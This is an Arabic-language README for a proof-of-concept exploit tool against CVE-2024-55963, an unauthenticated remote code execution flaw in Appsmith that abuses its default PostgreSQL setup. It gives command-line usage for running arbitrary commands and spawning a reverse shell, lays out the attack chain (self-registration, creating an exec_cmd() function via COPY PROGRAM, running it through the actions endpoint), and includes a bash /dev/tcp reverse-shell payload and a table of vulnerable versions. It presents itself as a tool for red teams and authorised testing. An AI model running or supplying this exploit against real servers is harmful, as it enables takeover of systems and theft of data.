
CVE-2024-55963، يتيح تنفيذ تعليمات برمجية عن بُعد دون مصادقة على منصة Appsmith Enterprise بسبب قاعدة بيانات PostgreSQL مكوّنة بشكل خاطئ ومضمّنة افتراضيًا.
استغلال إثبات المفهوم لثغرة CVE‑2024‑55963 الذي ينفذ أوامر عشوائية أو يفتح قشرة عكسية على نسخ Appsmith القابلة للاستغلال.
يتعامل تلقائيًا مع كل من الخوادم الحديثة (التي تحمل ميزة environmentId) والإصدارات الأقدم كثيرًا من نوع “legacy” التي تسبق ظهورها، بحيث يمكنك استخدام سكربت واحد لكل الإصدارات من v1.20 وحتى آخر إصدار قابل للاستغلال v1.51.
# Run an arbitrary command (default is `id`)
python3 appsmith-rce.py https://target.example.com [email protected] password123 "whoami"
# spawn a reverse shell
python3 appsmith-rce.py https://target.example.com [email protected] password123 -revshell <ip> <port>
ملاحظة: أي بيانات اعتماد تنجح طالما أن الخادم يسمح بالتسجيل الذاتي. يحاول السكربت تسجيل الدخول أولاً ثم يلجأ إلى التسجيل إذا كان الحساب غير موجود.
/api/v1/environments/workspaces/{id}environmentId/api/v1/applications ويستخرج pageId.localhost:5432 ببيانات اعتماد postgres/postgres (مسموح به بواسطة ملف pg_hba.conf الافتراضي القابل للاستغلال).exec_cmd() بالإضافة إلى جدول مؤقت cmd_output يجمع مخرجات STDOUT.SELECT * FROM exec_cmd('<your cmd>') عبر نقطة النهاية /api/v1/actions/execute.bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'.requests| إصدار Appsmith | النتيجة |
|---|---|
| 1.51 | ✅ RCE |
| 1.45 | ✅ RCE |
| 1.30 | ✅ RCE، المسار القديم |
| 1.52+ | ❌ تم التصحيح – فشل إنشاء الدالة |
إثبات المفهوم هذا هو تحسين بسيط لاستغلال Rhino Security Labs (لم أدرك أنهم يملكون بالفعل PoC عامًا عندما كنت أراجع البحث).
يستخدم PoC الخاص بـ Rhino ترويسات وكوكيز وبيانات اعتماد ثابتة. أثناء اختبار ذلك الاستغلال واجهت مشكلات عندما كان الحساب موجودًا مسبقًا على إصدارات محددة. يتيح هذا السكربت للمستخدم إدخال أي مجموعة بريد إلكتروني/كلمة مرور يختارها من سطر الأوامر. وكما ذُكر، يتم استخراج توكن CSRF بدلاً من الاعتماد على قيم مبرمجة ثابتة.
Environments API.COPY PROGRAM داخل غلاف PL/pgSQL exec_cmd() ويستدعي واجهة برمجة التطبيقات /actions/execute، لكن هذا يُحدِث ضجيجًا أكثر. يعتمد Rhino على نقطة نهاية معاينة المخطط المدمجة لإصدار جملة COPY مؤقتة (SELECT …). تعمل نقطة النهاية تلك على اقتطاع طول المخرجات وتضيف قواعد اقتباس إضافية، لذا يصعب تمرير الأوامر الطويلة أو الحمولات المتسلسلة.pyfigletenvironmentId. يفترض استغلال Rhino أنها موجودة دائمًا.تعمل هذه الخيارات التصميمية معًا على جعل الاستغلال أقصر وأكثر موثوقية وأسهل لاستخدام الفرق الحمراء (red-team)، مع الاستمرار في عرض نفس الثغرة الأساسية.
يُقدَّم هذا الكود لأغراض تعليمية والاختبار المصرح به فقط. من المحتمل أن يكون تشغيله ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها غير قانوني. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.